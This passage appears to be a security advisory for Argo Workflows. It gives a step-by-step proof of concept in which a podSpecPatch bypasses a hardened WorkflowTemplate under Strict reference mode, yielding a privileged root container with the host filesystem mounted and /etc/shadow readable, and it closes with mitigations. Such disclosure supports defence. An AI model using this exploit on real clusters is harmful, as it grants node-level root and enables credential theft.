Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode

Restart the controller to pick up the new config:

kubectl rollout restart deployment workflow-controller -n argo
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s

3. Verify Strict mode is active

Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: strict-test-
spec:
  entrypoint: test
  templates:
  - name: test
    container:
      image: alpine
      command: [echo, "hello"]
EOF

The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:

STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)
kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}'

Expected output:

Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode

4: Create a hardened WorkflowTemplate

An administrator creates a WorkflowTemplate with restrictive security settings:

cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: secure-template
  namespace: argo
  annotations:
    description: "Admin-approved secure template with hardened security settings"
spec:
  entrypoint: secure-task
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  templates:
  - name: secure-task
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args:
        - |
          echo "=== Security Context Check ==="
          echo "Current UID: $(id -u)"
          echo "Current GID: $(id -g)"
          if cat /etc/shadow 2>/dev/null; then
            echo "EXPLOITED: Can read /etc/shadow!"
          else
            echo "SECURE: Cannot read /etc/shadow"
          fi
          if ls /host/etc/passwd 2>/dev/null; then
            echo "EXPLOITED: Host filesystem accessible!"
            cat /host/etc/passwd | head -5
          else
            echo "SECURE: No host filesystem access"
          fi
          if [ "$(id -u)" = "0" ]; then
            echo "EXPLOITED: Running as root!"
          else
            echo "SECURE: Running as non-root (UID: $(id -u))"
          fi
          echo "=== End Check ==="
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        allowPrivilegeEscalation: false
        capabilities:
          drop:
            - ALL
EOF

5. Submit a legitimate Workflow (baseline)

Submit a Workflow that references the secure template without modification:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: legit-use-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
EOF

Wait for completion and check logs:

LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)
kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main

Expected output (confirming the template's security settings are applied):

=== Security Context Check ===
Current UID: 1000
Current GID: 0
SECURE: Cannot read /etc/shadow
SECURE: No host filesystem access
SECURE: Running as non-root (UID: 1000)
=== End Check ===

6. Submit the bypass Workflow

Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-security-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
  podSpecPatch: |
    hostPID: true
    hostNetwork: true
    containers:
    - name: main
      securityContext:
        privileged: true
        runAsUser: 0
        runAsNonRoot: false
        allowPrivilegeEscalation: true
        capabilities:
          add:
            - ALL
          drop: []
      volumeMounts:
      - name: host-root
        mountPath: /host
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory
EOF

Wait for completion and check logs:

BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)
kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main

Expected output (all security settings bypassed):

=== Security Context Check ===
Current UID: 0
Current GID: 0
root:*::0:::::
bin:!::0:::::
[... /etc/shadow contents dumped ...]
EXPLOITED: Can read /etc/shadow!
EXPLOITED: Host filesystem accessible!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[... host /etc/passwd contents ...]
EXPLOITED: Running as root!
=== End Check ===

The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.

Impact

The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:

You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.

A user who can submit Workflows referencing approved templates can use podSpecPatch to:

• Run containers as root (runAsUser: 0)
• Enable privileged mode (privileged: true)
• Mount the host filesystem (hostPath volumes)
• Share host PID/network/IPC namespaces (hostPID, hostNetwork, hostIPC)
• Add all Linux capabilities (capabilities.add: ["ALL"])

This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.

The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.

Mitigation

When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.

Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.